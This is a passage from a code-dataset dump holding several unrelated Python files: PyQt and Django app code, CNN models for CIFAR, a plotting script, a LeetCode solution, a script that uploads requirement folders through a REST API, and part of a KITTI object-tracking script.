click\nwindow1.pushButton_3.clicked.connect(window1.plot)\n\n\nwindow1.comboBox_3.addItems(ports) # Set COM ports in the combo box ###lrf\nwindow1.pushButton_7.clicked.connect(window1.getstatus_outer)###lrf\nwindow1.pushButton_4.clicked.connect(window1.getrange_outer)###lrf\nwindow1.pushButton_5.clicked.connect(window1.lrf_start_loop)\nwindow1.pushButton_6.clicked.connect(window1.lrf_stop_loop) # stop the loop on the stop button click\n\n\nwindow1.show()\n\napp.exec_()\n","sub_path":"TwoPortsnew/Controller.py","file_name":"Controller.py","file_ext":"py","file_size_in_byte":17624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"89650911","text":"# -*- coding: utf8 -*-\r\n'''\r\nCreated on 2015-8-19\r\n\r\n@author: chinple\r\n'''\r\n\r\nfrom cserver import cloudModule\r\nfrom server.chandle import parseRequestParam\r\nfrom libs.objop import ObjOperation, StrOperation\r\nfrom libs.tvg import TValueGroup\r\nfrom server.cclient import curl, jsonToUrlValue\r\nfrom libs.parser import toJsonObj\r\nfrom libs.syslog import plog\r\n\r\nclass HttpToolBase:\r\n def urlParamToJson(self, urlParam, tupeKey=\"goodsInfoArray\"):\r\n pjson = {}\r\n params = parseRequestParam(urlParam)\r\n for k in params:\r\n v = params[k]\r\n tjson = pjson\r\n try:\r\n i = k.index(\"[\")\r\n key, k = k[0:i], k[i + 1:]\r\n except:\r\n pjson[k] = v\r\n continue\r\n\r\n keys = [key] + k.replace(\"][\", \",\").replace(\"[\", \"\").replace(\"]\", \"\").split(\",\")\r\n for i in range(len(keys)):\r\n key = keys[i]\r\n if i < len(keys) - 1:\r\n try:\r\n tjson = tjson[key]\r\n except:\r\n if type(tjson) == list:\r\n key = int(key)\r\n while len(tjson) <= key:\r\n tjson.append({})\r\n tjson = tjson[key]\r\n else:\r\n tjson[key] = [] if tupeKey.__contains__(key) else {}\r\n tjson = tjson[key]\r\n else:\r\n tjson[key] = v\r\n return pjson\r\n\r\n def diffJson(self, jsonStr, jsonStr2):\r\n return \"%s\\n%s\" % ObjOperation.jsonEqual(TValueGroup(jsonStr).__prop__, TValueGroup(jsonStr2).__prop__)\r\n\r\n def diffUrlParam(self, urlParam, urlParam2, tupeKey=\"goodsInfoArray\"):\r\n p1 = self.urlParamToJson(urlParam, tupeKey)\r\n p2 = self.urlParamToJson(urlParam2, tupeKey)\r\n resp = \"%s%s\" % ObjOperation.jsonEqual(p1, p2)\r\n return resp\r\n \r\n def jsonToUrlParam(self, jsonStr):\r\n return jsonToUrlValue(toJsonObj(jsonStr))\r\n\r\n def __replaceArgStr(self, argStr, argRplace):\r\n try:\r\n argIndex = 0\r\n for arg in StrOperation.splitStr(argRplace, \",\", \"'\"):\r\n argStr = argStr.replace(\"{%s}\" % argIndex, arg)\r\n argIndex += 1\r\n except:pass\r\n return argStr\r\n\r\n def __splitUrl(self, url):\r\n url = url.replace(\"http://\", \"\")\r\n try:\r\n i = url.index(\"/\")\r\n hosts, path = url[0:i], url[i:]\r\n except:\r\n hosts, path = url, \"\"\r\n return hosts, path\r\n\r\n def sendHttpRequest(self, url, command=\"POST\", body=\"\", bodyArgs=\"\", hostPort=\"\"):\r\n if bodyArgs != \"\": \r\n body = self.__replaceArgStr(body, bodyArgs)\r\n h = {}\r\n if hostPort != \"\":\r\n hosts, path = self.__splitUrl(url)\r\n h['Host'] = hosts.split(\":\")[0]\r\n url = hostPort + path\r\n resp = curl(url, body, command=command, logHandler=plog.info, ** h)\r\n\r\n try:\r\n return toJsonObj(resp)\r\n except:\r\n return resp\r\n\r\n@cloudModule(urlParam={\"t\":'textarea'}, param={\"t\":'textarea'}, svnPath={\"t\":'textarea'}, urlParam2={\"t\":'textarea'}, jsonStr={\"t\":'textarea'}, jsonStr2={\"t\":'textarea'},\r\n body={\"t\":'textarea'},\r\n urlParamToJson={'desp':\"convert url parameter to json\"}, jsonToUrlParam={'desp':'convert json to url parameter'})\r\nclass HttpTool(HttpToolBase):\r\n pass\r\n\r\nif __name__ == \"__main__\":\r\n from cserver import servering\r\n servering(\" -p 8080 -n bill-tool-test\")\r\n\r\n\r\n","sub_path":"tools/stool/httpTools.py","file_name":"httpTools.py","file_ext":"py","file_size_in_byte":3619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"91014262","text":"'''AlexNet for CIFAR10. FC layers are removed. Paddings are adjusted.\nWithout BN, the start learning rate should be 0.01\n(c) YANG, Wei \n'''\nimport torch\nimport torch.nn as nn\nimport os\n\n\n__all__ = ['alexnet']\n\nCHECKPOINT_DIR = '/home/ruthfong/pytorch-classification/pretrained'\nmodel_name = 'alexnet'\nmodel_urls = {model_name: {'cifar10': os.path.join(CHECKPOINT_DIR, 'cifar10', \n '%s.pth.tar' % model_name),\n 'cifar100': os.path.join(CHECKPOINT_DIR, 'cifar100', \n '%s.pth.tar' % model_name)\n }\n }\n\n\n\nclass AlexNet(nn.Module):\n\n def __init__(self, in_channels=3, num_classes=10):\n super(AlexNet, self).__init__()\n self.features = nn.Sequential(\n nn.Conv2d(in_channels, 64, kernel_size=11, stride=4, padding=5),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=2),\n nn.Conv2d(64, 192, kernel_size=5, padding=2),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=2),\n nn.Conv2d(192, 384, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.Conv2d(384, 256, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.Conv2d(256, 256, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=2),\n )\n self.classifier = nn.Linear(256, num_classes)\n\n def forward(self, x):\n x = self.features(x)\n x = x.view(x.size(0), -1)\n x = self.classifier(x)\n return x\n\n\ndef alexnet(pretrained=False, dataset='cifar10', **kwargs):\n r\"\"\"AlexNet model architecture from the\n `\"One weird trick...\" `_ paper.\n \"\"\"\n model = AlexNet(**kwargs)\n if pretrained:\n if dataset == 'cifar10':\n model.features = nn.DataParallel(model.features)\n else:\n model = nn.DataParallel(model)\n checkpoint = torch.load(model_urls[model_name][dataset], \n map_location=lambda storage, loc: storage)\n model.load_state_dict(checkpoint['state_dict'])\n if dataset == 'cifar10':\n model.features = model.features.module\n else:\n model = model.module\n return model.cpu()\n","sub_path":"models/cifar/alexnet.py","file_name":"alexnet.py","file_ext":"py","file_size_in_byte":2362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"454148770","text":"import pandas as pd \nimport numpy as np \nimport sys\nimport matplotlib \nmatplotlib.rc('xtick', labelsize=15) \nmatplotlib.rc('ytick', labelsize=15) \nimport matplotlib.pyplot as plt\nimport argparse\nimport pdb\nfrom scipy.interpolate import interp1d\nfrom matplotlib import rcParams\nrcParams.update({'figure.autolayout': True})\n\n\nargs = argparse.ArgumentParser()\nargs.add_argument(\"--files\", type=str, action=\"store\", dest=\"files\", required=True)\nargs.add_argument(\"--savefig\", type=str, action=\"store\", dest=\"savefig\", default=None)\nargs.add_argument(\"--min_sig\", type=float, action=\"store\", dest=\"min_sig\", default=-1)\nargs.add_argument(\"--max_sig\", type=float, action=\"store\", dest=\"max_sig\", default=10**6)\nargs.add_argument(\"--label\", type=str, action=\"store\", dest=\"label\", default=None)\nargs.add_argument(\"--plot_ratio\", action=\"store_true\")\nargs.add_argument(\"--plot_all_signals\", action=\"store_true\")\n\n\nresults = args.parse_args()\nFILES = results.files\nSAVEFIG = results.savefig\nMIN_SIG = results.min_sig\nMAX_SIG = results.max_sig\nPLOT_RATIO = results.plot_ratio\nPLOT_ALL_SIGNALS = results.plot_all_signals\nif results.label is not None:\n LABELS = [int(i) for i in results.label.split(',')]\nelse:\n LABELS = []\nLENS,SIG = None,None\ndef getlabel(f):\n xs = f.split('/')[-1].split('_')\n #return xs[5] + '_' + xs[-1] + '_' + xs[-2] + '_' + xs[-3]\n if \"infer2\" in f:\n lbl = \"ASCS[u:(pct:\"+xs[-2]+\")\\u03B1:(\"+str(float(xs[8].replace(\"ALPHA\",\"\")))+\")\"\n elif \"infer\" in f:\n lbl = \"ASCS SIG:\"+xs[15]\n else:\n lbl = \"CS\"\n\n for l in LABELS:\n if l < len(xs):\n lbl = lbl + ' ' + xs[l]\n return lbl\n\n#plt.tight_layout()\n\nf, (a0, a1) = plt.subplots(2, 1, gridspec_kw={'height_ratios': [1, 3]})\n#f.set_size_inches(w=13, h=8)\nonce = False\nfor FILE in FILES.split(','):\n print(FILE)\n d = pd.read_csv(FILE, sep=\",\") \n d['f1'] = 2*(d.precision * d.recall) / ((d.precision + d.recall))\n #print(\"ActualIDSize CovTh F!Max\")\n lens = []\n act_ths = []\n f1maxs = []\n d = d.dropna()\n d.sort_values(['len_actual_ids'], inplace=True)\n\n lens = d.len_actual_ids.unique()[::-1]\n\n for l in lens: \n act_cov = d[(d.len_actual_ids==l)]['act_th'].values[0] \n f1max = np.max(d[d.len_actual_ids == l].f1.unique())\n #print(l, act_cov, f1max) \n act_ths.append(act_cov)\n f1maxs.append(f1max)\n f1maxs = np.array(f1maxs)\n act_ths = np.array(act_ths)\n mask = np.multiply(act_ths >= MIN_SIG, act_ths <= MAX_SIG)\n if not once:\n if PLOT_RATIO:\n assert(False ) #fix the hard coding\n ratio = act_ths / np.concatenate(([1.70853752e-07], act_ths[:-1]))\n a0.plot(lens[1:-1], ratio[1:-1], label='Ratio at ' + str(-lens[1] + lens[0])+'_' + getlabel(FILE))\n else:\n a0.plot(lens[mask], act_ths[mask], label='Actual Signal Values')\n LENS = np.copy(lens)\n SIG = np.copy(act_ths)\n if not PLOT_ALL_SIGNALS:\n once = True\n a1.plot(lens[mask], f1maxs[mask], label=getlabel(FILE))\n\na0.legend(prop={'size':15})\na1.legend(prop={'size':15})\nmask = np.multiply(SIG >= MIN_SIG , SIG <= MAX_SIG)\nLENS = LENS[mask]\nSIG = SIG[mask]\nif len(SIG) > 10:\n idx = np.arange(0, len(LENS), int(np.ceil(len(SIG)/10)))\n #if idx[-1] != len(LENS) -1 :\n # idx = np.append(idx, -1)\nelse:\n idx = np.arange(0, len(LENS), 1)\n#print(mask)\n#print(LENS)\n#print(SIG)\n#print (idx)\n#a1.set_xticks(LENS[idx])\n#a1.set_xticklabels([ '{}\\n({:.1e})'.format(LENS[i], SIG[i]) for i in idx ] , rotation=45, fontsize=12)\na1.set_xlabel('Top number of actual signals', fontsize=15)\n#a0.set_ylabel('Actual Signal', fontsize=15)\n#a1.set_ylabel('Max F1', fontsize=15)\na0.grid()\na1.grid()\nif SAVEFIG is None:\n plt.show()\nelse:\n plt.savefig(SAVEFIG)\n\n","sub_path":"view_f1max.py","file_name":"view_f1max.py","file_ext":"py","file_size_in_byte":3900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"237058911","text":"# 645. Set Mismatch - EASY\n# https://leetcode.com/problems/set-mismatch/\n\n# The set S originally contains numbers from 1 to n. But unfortunately, due to the data error, one of the numbers in the set got duplicated to another number in the set, which results in repetition of one number and loss of another number.\n\n# Given an array nums representing the data status of this set after the error. Your task is to firstly find the number occurs twice and then find the number that is missing. Return them in the form of an array.\n\n# Example 1:\n# Input: nums = [1,2,2,4]\n# Output: [2,3]\n# Note:\n# The given array size will in the range [2, 10000].\n# The given array's numbers won't have any order.\n\n\ndef findErrorNums(nums):\n duplicate = None\n max_num = float('-inf')\n nums_set = set()\n for num in nums:\n max_num = max(num, max_num)\n if num in nums_set:\n duplicate = num\n nums_set.add(num)\n for i in range(1, max_num):\n if i not in nums_set:\n return [duplicate, i]\n return [duplicate, max_num+1]\n \n \n\n\nfindErrorNums([2,3,4,5])\nprint(findErrorNums([1,2,2,4]))\nprint(findErrorNums([2,2]))\nprint(findErrorNums([1,1]))\nprint(findErrorNums([3,2,3,4,6,5]))","sub_path":"easy/set_mismatch.py","file_name":"set_mismatch.py","file_ext":"py","file_size_in_byte":1220,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"64121265","text":"from django.shortcuts import render, redirect\nfrom .models import Employee\nfrom .form import EmployeeForm\n\ndef home(request):\n data = {}\n data['employees'] = Employee.objects.all()\n return render(request, 'api/home.html', data)\n\ndef create(request):\n data = {}\n form = EmployeeForm(request.POST or None)\n\n if form.is_valid():\n form.save()\n return redirect('url_home')\n data['form'] = form\n data['title'] = \"Register Employee\"\n return render(request, 'api/form.html', data)\n\ndef update(request, pk):\n data = {}\n employee = Employee.objects.get(pk=pk)\n form = EmployeeForm(request.POST or None, instance=employee)\n\n if form.is_valid():\n form.save()\n return redirect('url_home')\n data['title'] = \"Edit Employee\"\n data['form'] = form\n return render(request, 'api/form.html', data) \n\ndef delete(request, pk):\n employee = Employee.objects.get(pk=pk)\n employee.delete()\n return redirect('url_home')\n","sub_path":"api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"650599218","text":"from lib.utils import showfeature, showimage\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom lib.normalize import Normalize\nimport sys\nsys.path.insert(0, \"../\")\nfrom torch.autograd import Variable\nfrom groupy.gconv.pytorch_gconv import P4MConvZ2, P4MConvP4M\n\nclass BasicBlock(nn.Module):\n expansion = 1\n\n def __init__(self, in_planes, planes, stride=1):\n super(BasicBlock, self).__init__()\n self.conv1 = P4MConvP4M(in_planes, planes, kernel_size=3, stride=stride, padding=1, bias=False, batch_norm=True)\n # self.bn1 = nn.BatchNorm3d(planes)\n self.conv2 = P4MConvP4M(planes, planes, kernel_size=3, stride=1, padding=1, bias=False, batch_norm=True)\n # self.bn2 = nn.BatchNorm3d(planes)\n\n self.shortcut = nn.Sequential()\n if stride != 1 or in_planes != self.expansion*planes:\n self.shortcut = nn.Sequential(\n P4MConvP4M(in_planes, self.expansion*planes, kernel_size=1, stride=stride, bias=False, batch_norm=True),\n # nn.BatchNorm3d(self.expansion*planes)\n )\n\n def forward(self, x):\n out = F.relu((self.conv1(x)))\n out = self.conv2(out)\n out += self.shortcut(x)\n out = F.relu(out)\n return out\n\n\nclass Bottleneck(nn.Module):\n expansion = 4\n\n def __init__(self, in_planes, planes, stride=1):\n super(Bottleneck, self).__init__()\n self.conv1 = P4MConvP4M(in_planes, planes, kernel_size=1, bias=False, batch_norm=True)\n # self.bn1 = nn.BatchNorm3d(planes)\n self.conv2 = P4MConvP4M(planes, planes, kernel_size=3, stride=stride, padding=1, bias=False, batch_norm=True)\n # self.bn2 = nn.BatchNorm3d(planes)\n self.conv3 = P4MConvP4M(planes, self.expansion*planes, kernel_size=1, bias=False, batch_norm=True)\n # self.bn3 = nn.BatchNorm3d(self.expansion*planes)\n\n self.shortcut = nn.Sequential()\n if stride != 1 or in_planes != self.expansion*planes:\n self.shortcut = nn.Sequential(\n P4MConvP4M(in_planes, self.expansion*planes, kernel_size=1, stride=stride, bias=False, batch_norm=True),\n # nn.BatchNorm3d(self.expansion*planes)\n )\n\n def forward(self, x):\n out = F.relu((self.conv1(x)))\n out = F.relu((self.conv2(out)))\n out = self.conv3(out)\n out += self.shortcut(x)\n out = F.relu(out)\n return out\n\n\nclass ResNet(nn.Module):\n def __init__(self, block, num_blocks, low_dim=128, multitask=False):\n super(ResNet, self).__init__()\n self.multitask = multitask\n\n self.in_planes = 23\n self.conv1 = P4MConvZ2(3, 23, kernel_size=7, stride=2, padding=3, bias=False, batch_norm=True, max_pool=True)\n\n self.layer1 = self._make_layer(block, 23, num_blocks[0], stride=1)\n self.layer2 = self._make_layer(block, 45, num_blocks[1], stride=2)\n self.layer3 = self._make_layer(block, 91, num_blocks[2], stride=2)\n self.layer4 = self._make_layer(block, 181, num_blocks[3], stride=2)\n self.linear = nn.Linear(181*8*block.expansion, low_dim)\n\n self.l2norm = Normalize(2)\n\n def _make_layer(self, block, planes, num_blocks, stride):\n strides = [stride] + [1]*(num_blocks-1)\n layers = []\n for stride in strides:\n layers.append(block(self.in_planes, planes, stride))\n self.in_planes = planes * block.expansion\n return nn.Sequential(*layers)\n\n def forward(self, x):\n\n # dataX_90 = torch.flip(torch.transpose(x, 2, 3), [2])\n # dataX_180 = torch.flip(torch.flip(x, [2]), [3])\n # dataX_270 = torch.transpose(torch.flip(x, [2]), 2, 3)\n # x = torch.stack([x, dataX_90, dataX_180, dataX_270], dim=1)\n # x = x.view([3 * 4, 3,224,224])\n #\n #\n #\n # # print (x.shape)\n # for b in range(4, 8):\n # showimage(x[b], \"batch-\"+str(b)+\"-image.png\")\n\n\n out = F.relu(self.conv1(x))\n out = self.layer1(out)\n out = self.layer2(out)\n out = self.layer3(out)\n out = self.layer4(out)\n\n outs = out.size()\n out = out.view(outs[0], outs[1]*outs[2], outs[3], outs[4])\n\n\n out = F.avg_pool2d(out, 7) # 12 if input is 96\n out = out.view(out.size(0), -1)\n out = self.linear(out)\n out = self.l2norm(out)\n\n return out\n\n\ndef ResNet18(**kwargs):\n return ResNet(BasicBlock, [2,2,2,2], **kwargs)\n\ndef ResNet34():\n return ResNet(BasicBlock, [3,4,6,3])\n\ndef ResNet50():\n return ResNet(Bottleneck, [3,4,6,3])\n\ndef ResNet101():\n return ResNet(Bottleneck, [3,4,23,3])\n\ndef ResNet152():\n return ResNet(Bottleneck, [3,8,36,3])\n\n\n# def test():\n# net = ResNet18()\n# y = net(Variable(torch.randn(1,3,32,32)))\n# print(y.size())\n\n","sub_path":"models/Gresnet_same.py","file_name":"Gresnet_same.py","file_ext":"py","file_size_in_byte":4795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"567923073","text":"####################################\r\n# Author: Jon Škerlj #\r\n# Company: Mirada Medical Ltd #\r\n# Date (last modified): 17/09/2019 #\r\n####################################\r\n\r\n\r\nimport requests\r\nimport sys\r\nimport getpass\r\n\r\nfrom functions import *\r\nfrom Credentials import credentials\r\n\r\n\r\ndef main():\r\n #uncomment for other users\r\n #Input details user needs to insert\r\n username = input(\"Enter your username (e.g. john.smith): \")\r\n password = getpass.getpass(\"Enter your password: \")\r\n\r\n credentials = username + \":\" + password + \"@\"\r\n\r\n absPath = input(\"Enter your project directory: \")\r\n\r\n project = input(\"Enter project name (e.g. NMX_4_6): \")\r\n\r\n # input for url of the server\r\n # if the whole url is: http://10.0.0.99:8080/mirada_clouds/FUXD_4_0/F-SSRS-1\r\n # url user has to input equals to 10.0.0.99:8080/mirada_clouds\r\n url = input(\"Enter project url (what is between http:// and project name): \")\r\n\r\n resp = requests.get('http://{}{}/rest/1/{}/cat'.format(credentials, url, project))\r\n\r\n while(resp.status_code!=200):\r\n print(\"\\nYour input data was incorrect, please try again!\\n\")\r\n\r\n username = input(\"Enter your username (e.g. john.smith): \")\r\n password = getpass.getpass(\"Enter your password: \")\r\n\r\n credentials = username + \":\" + password + \"@\"\r\n\r\n absPath = input(\"Enter your project directory: \")\r\n\r\n project = input(\"Enter project name (e.g. NMX_4_6): \")\r\n\r\n url = input(\"Enter project url (what is between http:// and project name): \")\r\n\r\n resp = requests.get('http://{}{}/rest/1/{}/cat'.format(credentials, url, project))\r\n\r\n print(\"\\nYour input data is correct!\\n\")\r\n\r\n # Commented variables for testing features (avoiding user input)\r\n # comment user input (above) and uncomment varibales below\r\n # variables probably need some modifications - absPath & credentials\r\n # absPath = \"C:\\\\Users\\\\jon.skerlj\\\\Desktop\\\\TTM test XD\"\r\n # credentials = \"jon.skerlj:*****@\"\r\n # project = \"FUXD_4_0\"\r\n # url = \"10.0.0.99:8080/mirada_clouds\"1\r\n\r\n\r\n # folders in the mentioned directory\r\n Folders = structureSet(absPath + \"\\\\set.xml\")\r\n\r\n # Creating a list of objects - each stores name and path of the folder\r\n MMclass = classList(Folders, absPath)\r\n\r\n # List that is going to store levels of each folder in order of user input\r\n level = []\r\n idx = 0\r\n # List that is going to store what elements are to be skipped if user says so\r\n skip=[]\r\n # Getting level of test/requirment for all folders\r\n skipBool = False\r\n for ele in MMclass:\r\n # Getting new directory (inside one of the 'mm' folders)\r\n directory = os.listdir(ele.path)\r\n\r\n # Reading the name of the main folder\r\n name = readTitle(ele.path + \"\\\\\" + \"document.xml\")\r\n # Getting folder type - either Test or Requirement\r\n typ = readType(ele.path + \"\\\\\" + \"document.xml\")\r\n\r\n if (typ == \"Requirement\"):\r\n print(name)\r\n lvl = \"\"\r\n\r\n # Loop that makes sure that one of the two answers is chosen\r\n while (lvl != \"SSRS\" and lvl != \"SURS\"):\r\n lvl = input(\"Please enter level of requirement (SSRS/SURS):\")\r\n\r\n if(lvl != \"SSRS\" and lvl != \"SURS\"):\r\n print(\"Your input was incorrect, try again!\")\r\n\r\n\r\n level.append(lvl)\r\n else:\r\n print(name)\r\n lvl = \"\"\r\n # Loop that makes sure that one of the two answers is chosen\r\n while (lvl != \"SSTS\" and lvl != \"SUTS\"):\r\n lvl = input(\"Please enter level of test (SSTS/SUTS):\")\r\n\r\n if (lvl != \"SSTS\" and lvl != \"SUTS\"):\r\n print(\"Your input was incorrect, try again!\")\r\n\r\n level.append(lvl)\r\n\r\n #Check if the folder already exists\r\n #Only checks main folders (right under SSTS/SUTS/SSRS/SURS)\r\n resp = requests.get(\r\n 'http://{}{}/rest/1/{}/item/F-{}-1'.format(credentials, url, project, lvl),\r\n data={'[children]': 'yes'})\r\n # Checking if that folder already exists\r\n for abc in resp.json()[\"itemList\"]:\r\n if (abc[\"title\"] == name):\r\n print(\"Folder with the same name already exists!\")\r\n\r\n yn = \"\"\r\n while (yn != \"Y\" and yn != \"N\"):\r\n yn = input(\"Do you want to continue? (Y/N):\")\r\n if (yn == \"Y\"):\r\n yn2 = \"\"\r\n while (yn2 != \"Y\" and yn2 != \"N\"):\r\n yn2 = input(\"Do you want to skip uploading this folder? (Y/N):\")\r\n if(yn2 == \"Y\"):\r\n # Getting the index of an element that needs to be skipped\r\n skip.append(idx)\r\n skipBool = True\r\n else:\r\n print(\"Creating another instance of the folder.\")\r\n break\r\n else:\r\n sys.exit(0)\r\n idx += 1\r\n\r\n #Getting the id of contents element of a folder in Matrix\r\n folderID = getMatrixID(\"FOLDER\", credentials, project, url)\r\n\r\n # Checks if user said wanted to skip some folders that already exist\r\n if(skipBool):\r\n # idx = 0\r\n temp = MMclass\r\n MMclass = []\r\n i=0\r\n for idx, ele in enumerate(temp):\r\n print(idx)\r\n if(skip[i]==idx):\r\n i+=1\r\n else:\r\n MMclass.append(ele)\r\n\r\n\r\n # Looping through each main folder\r\n for ele in MMclass:\r\n # Getting new directory (inside one of the 'mm' folder)\r\n directory = os.listdir(ele.path)\r\n\r\n # Reading the name of the main folder\r\n name = readTitle(ele.path + \"\\\\\" + \"document.xml\")\r\n\r\n # Getting folder prefix - old naming systen\r\n prefix = redPrefix(ele.path + \"\\\\\" + \"document.xml\")\r\n\r\n # allocating corresponding id with right level - needed for inserting file data onto the website\r\n # desID - description id number of a field on a website where you display information\r\n # level[count] - \"SSRS/SURS/SSTS/SUTS\" - user allocated into the level list\r\n desID = getMatrixID(level[count], credentials, project, url)\r\n\r\n data = {\r\n \"reason\":\"test\",\r\n # Name of the folder\r\n \"label\": name,\r\n # Name of the folder where we want to create a new folder\r\n \"parent\": \"F-{}-1\".format(level[count])\r\n }\r\n\r\n # Post request that creates a new folder on the website\r\n resp = requests.post(\"http://{}{}/rest/1/{}/folder\".format(credentials, url, project), data=data)\r\n\r\n # Getting the identification of the new created folder - used for creating new subfolders in a created folder\r\n index = resp.json()[\"serial\"]\r\n\r\n # Getting folders in the subdirectory\r\n Folders2 = structureFolder(ele.path + \"\\\\structure.xml\")\r\n print(Folders2)\r\n\r\n # Checks if there are any folders left\r\n if not Folders2:\r\n # if no folders found ends the current stage of loop - moves to the next element\r\n # Nothing gets uploaded to the main folder contents element\r\n\r\n # Going to the next element in a loop\r\n continue\r\n else:\r\n # More folders found - create a list of objects again\r\n Folders2Class = classList(Folders2, ele.path)\r\n # Using recursive function to go through directory\r\n directorySearch(Folders2Class, absPath, index, level[count], desID, prefix, project, credentials, folderID, url)\r\n\r\n\r\n #Counting the number of loops - at the end increment by one\r\n count = count + 1\r\n\r\nif __name__ == '__main__':\r\n main()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"653656920","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Apr 14 12:04:27 2020\n\n@author: sarahalyuy\n\"\"\"\n#use pandas!\n#import data from climate txt file\nimport pandas as p\ntable = p.read_csv('climate.txt')\ncarbon = table['sumEmissions']\nlast = 0\nchangeList = []\nfor elem in carbon:\n change = elem - last\n changeList.append(change)\n last = elem\ntable['changeInCarbon'] = changeList\n\n#ten hottest yrs\nthy = table.nlargest(10,'tableAvgTemp')['tableYear']\nprint(thy)\n\n#ten years highest carbon emission\nhce = table.nlargest(10,'changeInCarbon')['tableYear']\nprint(hce)\n\n#relationship between these two sets of years\ncount = 0\nfor x in list(thy):\n if x in list(hce):\n count += 1\nprint(str(count) + ' years appear in both datasets')","sub_path":"prob7a.py","file_name":"prob7a.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"11210013","text":"\"\"\"Script for BAMOT for KITTI test set\n\"\"\"\nimport argparse\nimport datetime\nimport glob\nimport json\nimport logging\nimport multiprocessing as mp\nimport queue\nimport subprocess\nimport threading\nimport time\nimport warnings\nfrom pathlib import Path\nfrom typing import Iterable, List, Tuple, Union\n\nimport colorlog\nimport cv2\nimport numpy as np\nimport tqdm\n\nfrom bamot.config import CONFIG as config\nfrom bamot.config import get_config_dict\nfrom bamot.core.base_types import StereoImage\nfrom bamot.core.mot import run\nfrom bamot.util.cv import from_homogeneous, to_homogeneous\nfrom bamot.util.kitti import (get_2d_track_line, get_3d_track_line,\n get_cameras_from_kitti, get_detection_stream,\n get_gt_poses_from_kitti, get_image_shape)\nfrom bamot.util.misc import TqdmLoggingHandler\nfrom bamot.util.viewer import run as run_viewer\n\nwarnings.filterwarnings(action=\"ignore\")\n\nLOG_LEVELS = {\"DEBUG\": logging.DEBUG, \"INFO\": logging.INFO, \"ERROR\": logging.ERROR}\nLOGGER = colorlog.getLogger()\nHANDLER = TqdmLoggingHandler()\nHANDLER.setFormatter(\n colorlog.ColoredFormatter(\n \"%(asctime)s | %(log_color)s%(name)s:%(levelname)s%(reset)s: %(message)s\",\n datefmt=\"%H:%M:%S\",\n log_colors={\n \"DEBUG\": \"cyan\",\n \"INFO\": \"white\",\n \"SUCCESS:\": \"green\",\n \"WARNING\": \"yellow\",\n \"ERROR\": \"red\",\n \"CRITICAL\": \"red,bg_white\",\n },\n )\n)\nLOGGER.handlers = [HANDLER]\n\n\ndef get_confidence(max_point, value, upward_sloping=True):\n if upward_sloping:\n return 0.5 * (np.tanh(4 * value / max_point - 2) + 1)\n return 0.5 * (np.tanh(2 - 4 * value / max_point) + 1)\n\n\ndef _fake_slam(\n slam_data: Union[queue.Queue, mp.Queue], gt_poses: List[np.ndarray], offset: int\n):\n all_poses = []\n for i, pose in enumerate(gt_poses):\n all_poses = gt_poses[: i + 1 + offset]\n slam_data.put(all_poses)\n time.sleep(20 / 1000) # 20 ms or 50 Hz\n LOGGER.debug(\"Finished adding fake slam data\")\n\n\ndef _write_3d_detections(\n writer_data_3d: Union[queue.Queue, mp.Queue],\n scene: str,\n kitti_path: Path,\n tags: List[str],\n):\n path = kitti_path / \"3d_tracking\"\n for tag in tags:\n path /= tag\n path /= \"data\" # to adhere to dir structure expected by ab3dmot\n path.mkdir(parents=True, exist_ok=True)\n fname = path / (scene + \".txt\")\n # overwrite file if exists\n if fname.exists():\n fname.unlink()\n while True:\n with open(fname, \"a\") as fp:\n track_data = writer_data_3d.get(block=True)\n writer_data_3d.task_done()\n if not track_data:\n LOGGER.debug(\"Finished writing 3d detections\")\n break\n img_id = track_data[\"img_id\"]\n LOGGER.debug(\"Got 3d detection data for image %d\", img_id)\n T_world_cam = track_data[\"T_world_cam\"]\n for track_id, track in track_data[\"tracks\"].items():\n obj_type = track.cls.lower()\n dims = config.PED_DIMS if obj_type == \"pedestrian\" else config.CAR_DIMS\n location = track.locations.get(img_id)\n if location is None:\n continue\n rot_angle = np.array(track.rot_angle.get(img_id))\n mask = track.masks[0]\n y_top_left, x_top_left = map(min, np.where(mask != 0))\n y_bottom_right, x_bottom_right = map(max, np.where(mask != 0))\n bbox2d = [x_top_left, y_top_left, x_bottom_right, y_bottom_right]\n # beta is angle between z and location dir vector\n loc_cam = from_homogeneous(\n np.linalg.inv(T_world_cam) @ to_homogeneous(location)\n )\n # kitti locations are given as bottom of bounding box\n # positive y direction is downward, hence add half of the dimensions\n loc_cam[1] += dims[0] / 2\n dir_vec = loc_cam[[0, 2]].reshape(2, 1)\n dir_vec /= np.linalg.norm(dir_vec)\n beta = np.arccos(np.dot(dir_vec.T, np.array([0, 1]).reshape(2, 1)))\n if dir_vec[0] < 0:\n beta = -beta\n if not np.isfinite(rot_angle):\n rot_angle = np.array([0])\n alpha = rot_angle - beta\n\n # number of badly tracked frames negatively effects confidence\n btf_score = get_confidence(\n max_point=config.KEEP_TRACK_FOR_N_FRAMES_AFTER_LOST,\n value=track.badly_tracked_frames,\n upward_sloping=False,\n )\n\n # number of landmarks positively effects confidence\n num_lm_score = get_confidence(max_point=120, value=len(track.landmarks))\n\n # number of poses 